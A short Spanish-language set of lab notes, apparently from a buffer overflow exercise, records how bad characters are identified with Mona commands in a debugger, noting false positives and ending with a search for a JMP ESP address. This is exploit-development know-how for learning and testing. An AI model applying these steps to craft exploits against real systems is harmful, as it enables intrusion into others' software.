Es importante mencionar, que no se debe confiar en el resultado de comparacion con Mona ya que en ciertas ocaciones puede proporcionar falsos positivos y lo mejor es repetir este proceso y validar cada badChar detectado por Mona.
Se debe modificar el script de python y eliminar cada BadChar. Tambien se adiciona
!mona bytearray -b "\x00"
71423371 = ESP
00 11 12 40 41 5f 60 b8 b9 ee ef = Salieron Estos BadChars
=============================================================
!mona bytearray -b "\x00\x11" = Se agrega el segundo valor
00 11 40 41 5f 60 b8 b9 ee ef
0175FA30 = ESP
=============================================================
00 11 40 5f 60 b8 b9 ee ef = Luego de lo anterior, se encuentro el primer falso positivo el cual es 12.
!mona bytearray -b "\x00\x11\x40" = Se agrega el segundo valor x40 al comando de mona y al script de python
0177FA30 = ESP
=============================================================
00 11 40 5f b8 b9 ee ef = Se encontro otro badchar falso positivo es 60
!mona bytearray -b "\x00\x11\x40\x5f" = se adiciona el siguiente badchar 5f al comando de mona y al script de python
018AFA30
=============================================================
00 11 40 5f b8 ee ef = Se encontro otro badchar falso positivo es B9
!mona bytearray -b "\x00\x11\x40\x5f\xb8" = se adiciona el siguiente badchar b8 al comando de mona y al script de python
016DFA30
=============================================================
!mona bytearray -b "\x00\x11\x40\x5f\xb8\xee" = Se encontro otro badchar falso positivo es EF
No hay mas = Si no salen badchars quiere decir que todo esta correcto y hemos encontrado todos los badchars
0174FA30
!mona jmp -r esp -cpb "\x00\x11\x40\x5f\xb8\xee"